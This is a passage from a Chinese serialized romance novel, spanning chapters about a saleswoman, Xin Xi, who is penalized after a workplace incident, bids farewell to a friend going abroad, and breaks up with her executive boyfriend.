林早望着落地窗外缓缓离地的飞机,嘴角的笑意稍显苦涩,“准备的过程里特别期待、特别兴奋、恨不能立马跳到这一天。可等真正站在这儿的时候,又有些舍不得了。”
在机场,有人抵达有人离境,没有人会留在原地。辛熙抱了抱她,“现在航班那么多,节假日都能回来的。”
“可机票很贵的呀,姐。不过,我在国外,也会努力赚钱的”,林早给自己打气,这是她对于这次远行的唯一期待。
“我可太期待你的回归了,一定会非常地棒”,辛熙觉得林早的蜕变势不可挡,时间总会教给人一些成长,“但你要记得,叔叔阿姨还有我,我们都只希望你平安快乐。”
林早抱紧了她,“我爸妈只盼着我在国外捡金币,度金身。”
“叔叔阿姨只是不会表达”,辛熙如是安慰。
林早掀起一个自嘲的笑意,眼中的湿润簌簌落下,“不用安慰我。我早就接受了。那种很好的父爱、母爱,和很好的爱情一样,很多人很难拥有。”
林早要出国留学的事情,在林家闹起了不小的风波,以致于今天要走,也没人来送她。
林大荣认为她是为了摆脱自己这个拖累,绝食闹了好几天,险些病发。夏淑芬也劝她,说徐进是个多好的人啊,如果她去了国外,就会错过这个好男人,她应该留下来,即便徐进偶尔荒唐,但只要她肯忍,日子总不会难过到哪里去。
林早不解,夏淑芬明明没有因为婚姻而获益,却依然希望自己的女儿依靠嫁给一个男人而走出困境。
林早说徐进根本不会娶她。
夏淑芬瞪大眼,不可置信,好半天才说出一句,“那你为什么要跟他睡?你这不是亏了吗?”
林早彻底灰心失望。到这时,她甚至觉得徐进比自己的父母可爱,至少他给了自己切切实实的利益,也没有用一些包装得美好的感情名目,试图绑架自己。
这些现实生活里被灰尘和蜘蛛网覆盖的琐碎日常,不痛不痒也不爽不快,林早谁也没有说,只悄悄提早了行程。
和林早分别后,心情被蒙上了一层阴郁。
这一天,辛熙告别了一位生活中的重要朋友,但工作上,却迎来了一名期待之外的新同事。
高桥轮岗过来了。
他在何耀丹的团队里。
辛熙在公司见到高桥的时候,他正站在自己的工位上,同卢湘和梁朵丽说笑。活跃、健谈、自信,是他一贯的风格。办公桌上还摆着一杯咖啡,和他们手里拿的出自同一家店。
高桥见她过来,把咖啡递给她,“来啦,我打听一圈儿都没问到你喜欢什么口味的,就只能买了和我一样的冰美。”
辛熙接过来道了声谢。
梁朵丽接过话,惊讶道:“原来你来之前都打听过啊,我说怎么你刚好买的就是我最喜欢的。”
“当然咯,给漂亮的女士们买东西,当然要投其所好”,高桥的话,成功让梁朵丽红脸。
卢湘递给辛熙一个不言而喻的眼神。高桥的手段不算高明,但也总有小女生吃这一套。
“朵丽,早上发你的资料,帮我找齐了吗?”辛熙转移话题。
“哦,还差个既往数据,我发给数据组了,等回复呢。”
“那在teams上催下呢,下午得交过去。”
“好咧。”
高桥被晾在一边,知趣地走开。
从会议室出来后,辛熙却再次见到了高桥。他似乎是等在那儿的,像一只准备扑食的饿狼,开口就是一句精准打击,“看样子,你是真没搞定姜总啊,不然也不会因为这么点事情,连业绩提成和年终全都被扣掉了。”
辛熙垂着头,准备绕开他走。她现在心情不佳,不想应付。
高桥并没有拦她,他像一位体贴情绪的好同事,和她保持着礼貌的距离,却没有停止伤口撒盐,“看你挺机灵的,怎么这么久时间过去,一点儿长进都没有。”
高桥等着这儿,似乎就是为了给自己几个月前的一番说辞,做个漂亮的收尾:看我说的没错吧?你坚持的东西多么可笑!顽固的笨蛋!
辛熙停下来,两朵秀眉之间染上怒意,也把这份怒意毫无保留地传递给还在滔滔不绝的高桥。
“你瞪我干嘛,这事儿又不是我害的你,我只是刚好有所耳闻,好心帮你分析分析。公正地讲,这事儿和你完全没有关系,对吧?你只是很倒霉,被一个不知轻重的恋慕者拖累了。但很不幸的是,这事传到了global,global认为你们对公司产生了不良影响,要求严肃处置。但其实,你懂的,glabal在中国区的话语权已经没那么重了,本来只要咱们的姜总肯帮你说句话,这事儿就能小事化了的。可你在姜总那里无名无姓的,姜总为什么要帮你?凭他人好心善吗?现在好了,小事化大,等于去年一年,白干!”
高桥说得头头是道。
辛熙确实没想到这件事情会对自己牵连这么大。刚才赵志远把她叫到会议室,神色凝重地告诉她,由于简运事件引发了不少员工对公司资源配置和渠道规则的质疑,公司将暂停她今年的调薪和去年的年终奖金核算,并对她上个季度的业绩提成暂停发放。这里有两个“暂停”,但辛熙知道,暂停就意味着不发了。
加起来的金额可不算小。
她想贡献给辛雅买房的那点微薄之力,直接归零。
辛熙当然委屈。她问高桥,“既然你这么认定你的那套规则,那你打算怎么搞定姜总呢?”
高桥蔑了她一眼,说的话富有暗示性,“我们当然没有你们那么便利的方式咯。”
“所以,高桥,你选择加入何耀丹的团队,是因为你认为她已经拿住了姜总,对么?”所以他才站队何耀丹,才这么有底气过来嘲笑她。
高桥这种眼高于顶的家伙,肯去赢了自己的竞争对手手下,无非就是图个背靠大树好乘凉,然后等待时机,羽翼渐丰,再攀着高枝,飞上枝头。
“明眼人都看得出来”,高桥对自己的识时务毫不掩饰且十分自豪,“假设某天,我和你犯了类似的错误,我相信,她一定可以保下我。”
“我没有犯错。”
高桥耸耸肩,奚落她,“嘴硬并不能证明你没错。识人不明就是你的错。和一个没什么脑子的人走那么近,不犯错才怪。我好心给你建议,你却倒打一耙,告我状,我当时就知道,你肯定得栽跟头儿。”
辛熙被怼得一时不知道该怎么回复。她就是这样,即便对方是自己不喜欢的人,但只要说得有道理,她就总能听进去。听进去后,就很容易对别人的认知共情。
至于高桥为什么会这么了解情况,大概就是源于某些已经被他“搞定”的关系吧。
在会议室里,赵志远告诉她,他已经极力帮她争取了从轻处置,但global强硬要求予以处罚,他也不能完全包庇。师尧新上任,也需要立威,简运当初不服从管理的态度非常地伤他的面子,但简运已经离职,他只能从辛熙这里找回来。更何况,当时在会议室里,简运还惹恼了姜总,他们也需要给姜总一个交待。
所有人都需
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要一个交待, “那我的公平呢?我不服!我要申诉!”
“申诉什么申诉,你想一下子得罪姜总和师总吗?”赵志远劝她,但隐隐也有威胁她息事宁人之意,“原本global要求是开除处分,并在公司内部通报的。你知道我跟上面做了多少努力吗?现在三个团队都在集中力量强占市场份额,你却把时间花在要公平上,你是想被末位淘汰掉?”
“可是......”
“我知道你委屈,但我们做业务的,一切都拿业绩说话。你今年好好干,奖金什么的都会有的,别因小失大。”
带着愁绪,辛熙挂了外勤,提早下班。当她顶着烈日,站在公司楼下等车的时候,她发现,她兴致勃勃干了大半年的销售,唯一得到的好处,好像就只有像现在这一刻的所谓的“时间自由”。虽然,以往她在下班后需要花费更多的之间用于学习和应酬,但此刻,当她想要摆烂的时候,她拥有自由。
可这点自由,怎么打发呢?
她的人缘一向不错,但她平日里不是个会主动邀约的人,所以此刻,她翻遍了通讯录,居然连一个人能约出来的人都没有。
社交从众者,其实没有属于自己的独立的情绪收容所。
打的车子到了,辛熙的电话也拨了出去,只有辛雅,可以让她放肆吐槽,“姐,你出差回来了吗?”
“没呢”,辛雅压着声音,听筒里传来她的脚步声,她应该正在移动到一个相对安静的地方,“怎么了?”
“之前你说买房子,我本来想出份力的,但......暂时应该不行了。”
“本来也没指望你,别给自己压力”,辛雅向服务员点了一份套餐,才又继续问她,“但你的奖金出了什么岔子?”
“你现在才吃午饭吗?”
“早饭”,辛雅很随意,她已经习惯了这种节奏。
“那我不耽误你了,你好好吃饭。”
“没事,你说,我听听故事,就当放松了。”
为避免真相被主观情绪扭曲,辛熙的讲述上附上了很多的客观信息,公司内部的架构、道听途说的派系争斗、赵志远的劝诫、高桥的分析,以及自己对上诉内容的一些主观评定。内容太大,话说起来,就絮叨得没完,她一直说到了下车,就一屁股坐到了小区花园的秋千上继续。
“我本来想申诉的,但我知道,大概率,不会成功。”
“是的。这件事情上,你的错误可大可小,可有可无,其实还是看老板们想要做什么。很显然,他们只是想借机敲山震虎。”
“敲我这个连土堆都算不上的山吗?也太抬举我了。”
“是谁不重要。重要的是震谁。”
辛熙敏捷,猜到了部分,怅然道:“其实,赵经理的话,我只信了一半。姜渠就算不偏帮我,也没有理由要求严肃处置吧?”
听筒传来了辛雅的一声嗤笑,“说你恋爱脑,你还不信。这事看上去,就是几方在争话语权。你刚才也说了,global在中国区的话语权正在削弱,可他们肯定不愿意彻底放弃。你这件事情,正好就给了他们一个机会,质疑中国区的领导力。那你们中国区的高管们肯定不愿意被掣肘,他们也不在意你一个小销售的去留,他们要的,是对内对外,展现出高效的管理制度!”
“你是说,姜渠会为了显得他管理有方,而牺牲掉我的公平?”
“不是女朋友的公平,是一个普通职员的公平”,辛雅声音平静,这种情况在职场的恋爱生态里,时有发生,而她唯一的乐观估计是,“我想他应该会在之后对你有所补偿的,如果他是一名合格的男朋友的话。”
81.第 81 章
初春的夜还有些凛冬未散的寒意,辛熙在秋千上坐了许久。她踮起足尖,使着力,把身体推高,再借着惯性,荡回来,如此反复。她的正对面是姜渠的房子所在的楼栋。高档小区的楼王,占据最好的位置。
辛熙在网上查过这个小区的单价,是她望尘莫及的。可其实,在这之前,在她的工作还算顺利,业务慢慢有点起色的时候,她还是畅想过,也许某一天,她也能够在这里买上一套。拥有一个家和一点底气。所以,当她走进小区,保安朝她敬礼,管家向她问好时,她并没有表现出刘姥姥进大观园时的窘态。
大概人在顺风顺水时,多少是有些不自量力的吧。
可就在今天,仅仅是因为一件和她没有多大关系的事情,他们很轻易地就将她重新推回到那个卑怯敏感的位置上。
辛熙对辛雅说的最后一句话是,“姐,原来我根本没有进步啊”。还是像从前,一击即倒。
辛雅劝她莫着急,“也许你应该试着放松一下,你之前都太紧绷了。”
越是想要做好,就会越努力,而付出的努力越多,就会越难接受一个不如人意的结果。
电话捏在手里,响了好久,是姜渠的来电,她为他设置了专属的手机铃声。
努力咽下一些矛盾搅扰的情绪,张开嗓子时,却发现还是被冷风吹得加重了鼻音,即便她装得语调轻盈,“嗨、嗨~”。
“在哪儿?”
“在你家啊”,辛熙没忍住,猛打了两个喷嚏。
她的“你家”两个字让姜渠在电话那头皱起了眉,但被喷嚏声掐断了情绪,“怎么了?感冒了吗?”姜渠语气担忧,反应是合格的。
辛熙吸吸鼻子,“可能春天来了,鼻炎要犯了吧。”
“那等我回来,这周末,我们一起回吉兆胡同,那儿有位退休的老中医,专治这个。”
“唔~还要等周末呀。”
“怎么,很不舒服吗?”姜渠听起来很紧张,但很快,话音又转,“还是等不及想见我?”
辛熙没有接茬,“你那什么时候回来?”
姜渠说:“等明天参加完当地政府的答谢宴吧。”
辛熙知道,他这次领导团队,响应及时,为海宁水灾受损的客户挽回不少经济损失,同时,他们连夜筹备了上千套专门用于设备的排潮、除湿、消毒的关爱包,免费分送给了全区域内的公私立医院,赢得了业内的高度赞扬。
姜渠又以私人名义召集车队,从临近城市购买救灾物质送达救援现场,成了除去官方救援外,民间第一批达到的救援队。
海宁市政府在当天的官网上特别发文感谢。配图是一张,他专注于拆卸DR设备的可移动探测器时的侧脸照。
他居然还会拆机子?这是辛熙的第一反应。虽然身边人讨论更多的是他的侧脸线条和手臂的力量感。同事们玩笑说,姜渠很适合给当麦高的代言人,形象气质佳,还有可信度。
辛熙抬头,一二三地数着楼王的层数,心里感叹着:要会那么多,才能赚到足够的钱,住在这里吗?
好难啊,她甚至,连今年的年终奖都没了。
林早落地后的第一通电话拨进来,却不是报平安,而不是让辛熙赶到高唐客去。
林大荣和夏淑芬不知道从哪里打听到了徐进的落脚处,在高唐客蹲守了好几天,终于逮到了人。彼时,徐进正和自己的新女友打得火热。林大荣跑上去就是一顿狂揍,夏淑芬跟着,平日里是温温懦懦的性格,根本拦不住发狂的男人。
徐进长这么大,哪里受过这种侮辱,别说他半点不觉得自己对不起林早,就算有,那也不会任这老两口又打又骂的。
“是。你们女儿能出国留学,是应该感谢我。是我给她介绍的留学机构,帮她缴的钱。怎么?你们自己没能力,还想阻止自己女儿高飞?”
林大荣被保安架着,枯槁般的病容上倒因愤怒而多了点血气,“早早就是被你们这种人带坏的,带的六清不认,父母不要,只顾自己享乐。自己是什么命自己不清楚吗?还留学?这一到国外,指不定被卖到哪里去了。”
夏淑芬因为林大荣的话而更加忧心,索性一屁股坐到地上,“小徐啊,就当阿姨求你,你帮我们把早早劝回来吧?”
徐进烦躁地解开勒着脖子的钮扣,他觉得自己明明做的是好事,却悲催地惹上了麻烦,“林早是成年人,她有自己的主见。更何况,我和她早就分了,也没联系了。”
夏淑芬祈求的语气里掺着些难堪的情绪,“你和她,你毕竟,你是我们早早的第一个男人啊,你不能这么不负责任的。”
夏淑芬的话仿佛扯掉了林大荣遮羞的布,他的情绪重新变得激烈,“我要和你拼了,我打死你”。但林大荣被保安压着,只是极为徒劳的用力挣扎了两下。
辛熙赶到的时候,看到的就是这个场景,如果要看图说话的话,标准答案肯定是可怜的底层人民正在被强权欺压。豪奢的包厢里满地狼藉,摔碎的啤酒瓶,变了样的水果盘,还有他们身上扯得歪歪斜斜的衣服和头发。
徐进早就将多余的人打发出去,所以此刻,只有他高傲地站在中央,冷漠地睥睨着,而旁边的沙发的角落里,几个高档礼盒稳稳地搁着,有另一个男人,沉默地品着酒,似乎正在冷眼旁观。
只是在辛熙推门进来时,男人换了姿势,走过来,拉着她绕开了地上的碎玻璃渣,声线温柔得破坏了这一副画面的现实性,“你怎么来了?”
辛熙无意识地蹙眉,原本应该在海宁的男人却出现在这里,这句话应当她来问吧?但现在不是讨论这个的时机,辛熙甩开他的手,将蹲坐在地上的夏淑芬拉起来,“阿姨。先起来,地上凉。”
“小辛啊,你快帮帮叔叔阿姨,我们,我们是真的不知道该怎么办了?”夏淑芬边说边哭,“早早长这么大,哪里出过远门,还外国,那些人说的话都听不懂的呀。新闻里,那国外是不是都还在打仗?”
“不是的,阿姨,你先冷静一下,我待会儿慢慢给你们解释哦。”
辛熙以为林早离开的时候,父母没有来送,是因为他们生气,却没想,林早是瞒着他们走的。
徐进已经示意保安放了林大荣,他原本也无意为难,叫保安只是为了防止发生不可控的事态。现在辛熙来了,他自然是要给她面子的。
辛熙对离开的保安说到:“麻烦找人来算一下今天损坏的东西,我
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们会照价赔偿的。”
“谁要他们赔了”,徐进说着,坐回了沙发上,对林大荣和夏淑芬说:“今天这事儿,我可以看在辛熙和林早的面子上不跟你们计较,但别有下一回。”
林大荣抄起袖子,露出无赖的地痞气,“我一个将死之人,能活到哪天还不知道,我能怕你?”
“林叔叔”,辛熙叫住他,可能是因为先前吹了太久的冷风,此刻,她感觉自己头脑昏沉,但还是强撑着拉住林大荣,“早早来电话了,她有话跟你们说。”
徐进和姜渠把包间让给了他们,两个人去到回廊亭中等候。隔着灯影绰绰,他们其实可以看见大致的情景。一开始是在视频聊天,情绪从愤怒陡转成哀泣,然后又互相埋怨,林大荣一气之下挂了视频,又被夏淑芬重新拨过去。
辛熙默默地陪着,很少说话。
徐进伸手在姜渠眼前晃了晃,隔断他的视野,不满地说:“你好歹也关心关心我,我今天可被人揍了。”
“该”,姜渠挥开他的手,“自作孽,你还挺骄傲。”
“我很无辜的,好吧?我和林早一开始就说清楚了,各取所需。早知道她有对儿这么难缠的父母,我再有兴趣,也不会让自己去蹚浑水的”,徐进正在给自己的伤口擦药,刚一碰到,就“嘶”一声疼得直接扔掉了棉球,啐了一句脏话。
“早提醒过你,要玩就去找玩得起的人。”
“这谁能料到呢”,徐进说得云淡风轻地,“哥儿们今儿也算是长见识了。”
姜渠撇撇眼,“得,还是您心态好。”
“你知道那姑娘临走前对我说的最后一句话是什么吗?”徐进又重新掏出个碘伏球给自己擦伤,“她说,‘别人分手都是说什么各自安好、前途光明,但是徐进,你的前任太多,我怕你没福气消受这些,那我就祝你早日遇到个能治你的人,让你思寐难安,夜不能眠,我们受过的罪,你一样都别少。’”说完,徐进又兀自轻嘲了一句,“说得好像她对我多有心似的。”
当辛熙搀着夏淑芬和林大荣一起走出来的时候,时间已经过去了很久。林大荣的脸色在昏暗的灯照下,更显衰弱,先前的暴戾转变成了带着腐朽味道的阴沉。夏淑芬想去拉他,却被他一把甩开。
“诶!需要叫车送你们回去吗?”徐进站在亭中,对二老说到。到这会儿,他的气也消得差不多了。
林大荣没有回答,怒气冲冲地朝外头走,夏淑芬赶紧跟上,落在后面的辛熙,解释说:“不用了,我会把叔叔阿姨送回去的。”
“那坐我车吧?”姜渠两步跨到她身边。不知道为何,他觉得她刚才看向自己的眼神里带着戒备和批判性的疏离感。
“那也行呗”,说话的是徐进,“送完人,你俩也正好早些回去,共度春宵”。徐进的调调配着他那副被蹂躏摧残过的样子,暗示性极强。
“不用了,叔叔阿姨应该不太愿意”,辛熙说完,往边儿上绕开,走了。
徐进走到姜渠面前,语气同情,“她这是?你被连坐了?咱可真是难兄难弟啊。”
姜渠烦躁地拨开挡路的他,“真要是这样的话,我会回来找你算账的,走了。礼物的钱,已经转你了。”
82.第 82 章
出租车行驶至林家所在的那条旧街,明晃晃地各种小食车挡住了道,他们只能提前下了车。黑色的保时捷紧随其后,同步停了下来。
夏淑芬有些警惕地扫过去,紧紧地将辛熙拉到身边,“这车跟了一路,不会是来报复咱的吧?”
“不是的,阿姨”,辛熙继续搀着她,“今天的事情已经结束了,他们不会追究的,你和叔叔都安心吧,日子会越过越好的。”
夏淑芬摇摇头,前五十年的境遇已经让她很难再相信“会变好”的可能性,“不再更差”是她最大的期望,“我原先只希望早早早点结婚生孩子,趁我身体还行,还能再帮着带几年。哎,谁知道,这孩子这么不省心,还拿着小徐的钱出去留学。这要传出去,以后谁还愿意娶她啊。”夏淑芬感到绝望。
林大荣走在前面,停下来,不耐烦地催促她,“走快点,这么晚了,人都快饿死了,中午的那顿药也没吃。”
夏淑芬这才急忙跟上。
旧街上的路灯被深夜的烟熏火燎抹上了厚厚的油垢,惨淡的光恰好藏住了辛熙眉心的烦闷。其实,她有很多的道理要讲的。她原本是打算将林大荣和夏淑芬送回家后,再好好劝他们一下的,用她认可的一些道理,即便是对长辈的冒犯。
为林早,叫个屈、申个冤啊。但到此刻,她放弃了。她发现自己有心无力。
人之本性和后天的经历,塑造了人,也限制了人。
姜渠将车靠边,走下来,见她一动不动地望着小食车,“饿了?”
辛熙有些犹豫,“嗯......你会不会觉得不卫生?”
姜渠将她的手牵起,走到卖烧烤的摊位上,“小时候经常吃各种小摊,只是后来城市文明建设后,摊贩少了,味道也不稳定,就很少吃了”。姜渠看了看菜品,觉得这家味道应该不错,便问辛熙,“想打包回家吃,还是在这儿吃?”
“回去吃吧,有点冷了。”
“那你去车上等?”姜渠将她搂住送上车,才又返回去,点了几样新鲜的菜品。
如果姜渠足够敏感,是可以发现她今日的不同的。比如,她竟然没有闹着要陪他一起等,也没有趴在副驾驶的车窗上看他,朝他乐呵呵地笑。她只是安静地坐着,目光失焦地放空着。
姜渠记得她的喜好,所以点的都是她喜欢的。深夜的路上行车很少,姜渠稍稍超了一点速,等到家的时候,烧烤在锡箔纸里依然保持着热辣滚烫。
“你不吃吗?”辛熙夹了一筷子蒜泥茄子的馅儿,问他,“哦~健身达人没有放纵日。”
“你先吃着,我先去洗个澡”,他只是有些倦意,近四个小时的飞行后,又碰见了高唐客的闹事。
辛熙安安静静地吃着,这家的烧烤,菜品只是看着新鲜,其实味道一般,她和林早光顾过几次,就没再去了。
过了这么久,味道还是很一般啊?一点长进都没有的。
辛熙重新将锡箔纸裹好,扔进了垃圾桶。
姜渠出来的时候,感到意外,“这么快就吃完了?”
辛熙没有否认,站起身,“那我也去洗漱了。”
“好,等你。”
辛熙的脚步不自然地一僵,随后加快。
浴室里的热浪卷走了深夜的困顿,每一寸的肌肤都得到了滋养,身体慢慢变得温热、柔腻,连带着压在头顶的乌云都被及时加速流动,成了的一场温暖的雨。
辛熙终于觉得身心通泰。她将头发吹得半干,皮肤是健康的红色,尤其脸颊上的两团樱花粉,称得人年轻、气血充盈。
浴室门推开时,香气比人先溜出去,姜渠端着两杯红酒等在门外,“要不要喝一杯?”
辛熙明显已经恢复精神气,半靠着浴室的门,眼神迷离般睇过去,“只是喝酒?”
“其他增值服务,需要额外付费。”
“那不要了,骗我人可以,骗钱可不行”,辛熙绕过他,径直往卧室走。
姜渠长臂一横,将人拦进包围圈,红酒杯相互碰撞,声音清灵,他舐着她的柔粉色的耳垂,“我付费,请你来骗我的人。”
辛熙顺势抢走他手里的一杯酒,身姿轻盈一转,拉开了一米距离,将红酒一口喝下,俏声说:“先收钱,后办事。”
“财迷。”
“色鬼。”
姜渠牵着她,走到书房。先前在高唐客的包厢里看见的几个礼盒,正原封不动地摆在书案上。名品的包装袋系着绸子,辛熙认识其中一些,她在辛雅的衣帽间里见过的,另外的一些,偏小众,上面的外文是歪歪斜斜的符号,很难看懂。
在高唐客的时候,姜渠请工作人员将礼物悄悄拿出来放进车后备箱,趁着辛熙洗澡的功夫,再又悄悄下楼,取了上来,藏进书房。整个过程,辛熙看在眼里,但都装不知道。
“这些是什么?”她装不懂,背对着姜渠,那点从浴室里带出来的温热渐渐散尽。
姜渠从后面贴上来,“送你的礼物啊,看看喜欢吗?”
辛熙没有动手去拆,而是问:“为什么要突然送我礼物?也不是生日或者什么节日的。”
“男朋友送女朋友礼物还要选日子?”
姜渠移到她面前,原意是想看她被惊喜惊住的表情,那一定会非常的可爱。可当他的目光触到她的脸庞时,只有凉透的寒意折返回来。
辛熙咧了咧嘴,收到礼物的表情应该是欣喜的,鲜活的,她很想配合。她努力了,胸腔被骤然提起的气息充盈着,抵住负面的情绪下沉,却很快蔫了气,表情也跟着不受控制地垮下去,“这些很贵吧?”
“不喜欢?”姜渠又在她的木然里看到了之前让他心慌的批判性。
她朝前挪动,手指机械地拉开丝绸袋子,却根本没有看里面的物品,而是重复问了一句,“可为什么要送我礼物呀?”
“辛......”
姜渠试图靠近她,她却往侧边离退了一步,像是在心里下了重要的决定般,抬头凝视着他,“礼物是喜欢的呀,可是姜渠,我现在不想要这些。”
“那你想要什么,我明天再去买,好么?”
唇角被酸涩的情绪拉扯着下坠,她努力绷着,这次的话没有铺垫,直接说了出去,“不,姜渠,我不能再收你的礼物了,因为,我不想跟你谈恋爱了。”
“抱歉,你刚说什么?我没太听清楚”,姜渠靠近她,微微压低点身高,好似正在确认刚才的信息。
辛熙没有勇气重复,只是说:“如果你需要一个原因的话,我可以直接告诉你。姜渠,因为,我觉得我跟你谈恋爱什么好处都没有得到。”
“好处?”
“对,好处”,辛熙深呼一口气,竭力让自己的语调不那么像个怨妇,“转岗申请的时候你就否定了我,后来
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分给我的客户不是难打交道就是运营困难,其实你和赵经理他们一样,都不相信我可以做好销售,对吗?耀丹姐的解决方案模型是用我的数据模型为基础,可你们都不觉得需要告知我一声。还有,张鑫每次都仗着自己是销冠,线上线下地各种怼我,讽刺我,看不上我,可你都没有帮我说过一句话。我就算不是你的女朋友,最起码,作为普通下属,也应该得到鼓励和尊重吧?”
“都记着呢?”姜渠在这时并不认为辛熙是真的要分手。在他看来,她的这些控诉,都很小儿科。如果站在他面前的只是一名普通下属,他会立刻请她离开自己的团队。
“那我得跟你说清楚啊”,辛熙侧过脸,躲开他的碰触,“还有,还有......”委屈随着声声控诉翻涌到心头,眼泪终于滚落出来,啪叽掉到地毯上,洇润出一片潮湿,而压死骆驼的最后一根稻草是,“简运的事情,我没有错!虽然我什么都不能做,但我想告诉你,你们对我的处罚我不认可。”
“赵志远跟你说了?”眉头处结成结,姜渠险些爆粗口,“我知道你委屈,所以提前从海宁回来,提前订好了礼物,我是想亲口告诉你的。”
心里的委屈是没有说尽的,只是脑子跟不上,那些曾经觉得委屈的小细节无法一一罗列,“总之,我不想再和你谈恋爱了。”
姜渠沉静地看着她,“转岗申请的时候,你的履历确实有不足,你认可吧?”
辛熙虽然生着气,却没有对自己认可的事情强词夺理。
“方案模型,麦高需要的是它的使用价值。实际上,她参考的只是形式,或者说,是你的数据模型给了她灵感,这里面并不涉及谁的专利权、著作权,对吗?”
辛熙抬头看他,觉得自己在他的眼中像个无理取闹的小孩,“你是在暗示,我虽然想到了这种方式,却没有她的专业知识做支撑,所以没能深化运用,对吗?”
“辛熙,我是希望你的眼光能放长远一点,这些事情并不值得你在意。”
“是,这个事情不用在意,张鑫的话我本来也不那么在意的。可你知道吗?有些道理理智上知道,但掺和上情感后,人就是会贪得多些”,她其实很讨厌剖析自己,尤其当她觉得自己处在弱势地位上,真诚的感情表达会显得像是在祈求怜悯,“我原本也可以接受职场上的一些不公平,可是,我希望我男朋友是站在我这边的,会维护我的,也是认可我的。如果你在工作上并不认可我的价值,那么在感情上,你真的不会站在高处俯视我吗?”
姜渠抓着她的双臂,试图让她冷静,“如果我看不上你,我根本不会花时间和精力在你身上。”
“不,你只是对我有一点兴趣而已”,辛熙摇头否认,“感情上的调剂,私生活的装点。”
“这段时间你就这么看待我的?”他的手掌撑在她两侧,眼中愠色渐浓,目光注意到被打翻的礼物盒子,姜渠指给她看,“你当我很闲吗?为了一点兴趣花这么多心思?”
不知道是被他的话惊住,还是被他忽然抬高的音量唬住,辛熙怔愣着,一时没有反应。
姜渠以为她被说动,摸了摸头,下巴抵在她的脑袋上,整个人将她圈住,安慰她:“只是一点奖金而已。”
“是呀。都比不上姜总这些礼物的零头”,辛熙将他推开,面无表情地说:“可是姜总,打工人的钱,一分一毛都是很重要的”。
83.第 83 章
“就因为这,就要分手?我不接受,辛熙”,姜渠在确定这个答案之前,试着唤醒她的理智,“咱们之前说好的,感情和工作要分开看待。”
“是。可我发现我做不到,所以我要放弃了!”
这个夜晚太糟糕了。像海宁那场连下了半个月的雨,漫到了京北,将敏感紧张的情绪泡胀。
两个人都没有睡好觉。天刚刚微亮,辛熙就推着自己的行李箱出了门。她其实都没怎么花时间整理,一些换季的衣物甚至还没来得及拿出来,就原封不动地封存回去。
姜渠在走廊上等了很久,见她出来,按住她的一只大箱子,做最后的挽留,“真要走?”
“嗯。”
“也不用这么着急的,你都还没有找好新的住处。”
辛熙说:“我直接搬到津南去,反正以后生活、工作的重心也都在那边。”
这句话几乎将他们短暂的恋爱判了死刑。
“我希望你能再考虑考虑。恋爱、分手,都不是儿戏。我们遇到问题,应该一起想办法解决问题,而不是彻底解决掉这段关系”。没有哪一对情侣恋爱的时候不会产生矛盾的,更何况他们平时那么和谐,他们也才刚刚有过一段美好的时光,怎么想,也没道理因为这点事情彻底闹掰。
“我已经想清楚了,也确定了这个答案”,辛熙咬着唇,但语气是坚定的。她讨厌自己在一些平时可以接受的事情上变得矫情又苛刻。高桥说搞定姜渠,可以在职场如鱼得水,她不赞同,甚至对此非常鄙夷,可当她和姜渠有了特殊的关系,她就是会希望,他偏袒自己,保护自己,让自己变成一个特殊的存在,哪怕,这些偏爱对其他人是不公平的,她依然会有这样的期望。
“那我送你吧?”
“不用,我自己可以”,辛熙拉着两个偌大的行李箱,行动缓慢。
搬进来的时候,行李是姜渠提的。她没想到,她的东西竟然这么重,她需要非常吃力地将一个搬下楼,再回来抬另一个。这让她的潇洒分手有了一个缓慢又吃力的出走过程。
“那你就真没帮人家搬啊?这么不绅士”,徐进从冰箱里拿出瓶冰啤酒敷脸,昨晚挨的揍不可避免地留下了红肿的印记。
“帮她干嘛,赶紧送人走吗?”
“啧啧,你这就没我做得好了,我的前女友们离开我的时候,我都是体体面面地送走的。”
姜渠抓起抱枕砸向徐进,“闭嘴吧你。”
沙发上的手机忽然震动,姜渠将电话接起来,语气毫不客气,“姑娘,劝你一句,别再打过来了,这人女朋友三天换一个,你这都过期多久了。”
徐进眯着一只眼,疑惑地问:“你是拿的我手机吗?”待姜渠将电话挂断后扔回给他,徐进一看上面的通话记录,两眼一黑,这姑娘是他最近费了好多心思在追的女神,“我草,老姜,你这失恋,就拉哥儿们陪葬,是不?”
“日行一善而已。”
辛熙回到津南出租屋的时候,时间尚早。和之前回到这里的心境不同,以前总觉得这里只是一个暂居的点,而把京北当成第二故乡。现在,全副家当都搬了过来,京北反而在形式上了变成了一个临时停靠的站点。
她将行李箱打开,想起姜渠在她吃力地下了两台阶梯后,接过去,说的那句,“如果觉得辛苦,应该早点提出来,让我解决,而不是独自忍受到一定的程度后,就单方面决定放弃。”
不得不承认,她在那一刻,有过一点后悔的心思。
“那你怎么没立即放下行李,重新投入他的怀抱?”辛雅在电话那头调侃。
“那多丢人啊”,辛熙抖着肩说。
“不丢自己这个人就得丢那个人咯,真舍得?”
“唔~不太舍得......”辛熙揉了揉发痒的鼻子,她才不会对任何人说起自己在动车上很丢脸地哭了一路,“但就在刚才,我用自己的东西一点点填满这间屋子的时候,我就看开了。这才是真正属于我的地盘,我在这里感到心安。”
“但愿你不会后悔。”
“等后悔的时候再说。”
辛熙决心好好搞事业了,但愿她的情场失意,能够换来职场的顺风顺水。
趁有时间,她将自己手头上的客户资料重新整理了一遍。正常服务的客户只需要维持一定频率的回访,保证服务按照合同正常履约即可,短期内很难再靠其出新单。
市妇幼的合同已经在走院内盖章流程,预计月底就能回寄公司,她已经联系好公司后台部门,正常履行服务了。
手头上最有机会的大客户,颠来倒去地看,也只有之前在会上被张鑫强烈反对的津南二院。师尧到现在都没有给她明确的答复,能不能去聊。
心里头还有犹豫的时候,电话却已经拨了出去,辛熙想,不就是销冠嘛,不就是销售总监嘛,都有什么好了不起的,反正她现在是光脚的不怕他们有鞋穿的了。
电话被接听的瞬间,她还是立马端正了身子,好像人就站在师尧面前汇报工作,客气恭谨地表达了自己的想法和诉求。
师尧听完后,回答她:“这事儿涉及到设备销售那边,我还是得问下姜总的意思。”
辛熙有些着急了,“那您什么时候......我是想问,您知道姜总大概什么时候可以给出答复吗?医院那边已经拒绝了很多供应商的设备新购方案,我担心.......”
师尧答道:“知道你着急想做事儿,我会找机会催他的。但听说,姜总今天请假了,所以......”
“请假了么?”辛熙只能暗自生气。就这么巧,从来不请假的姜总请假了?早上从他家离开的时候,看着身体也好,时间也闲的,好端端地请什么假!耽误事儿!
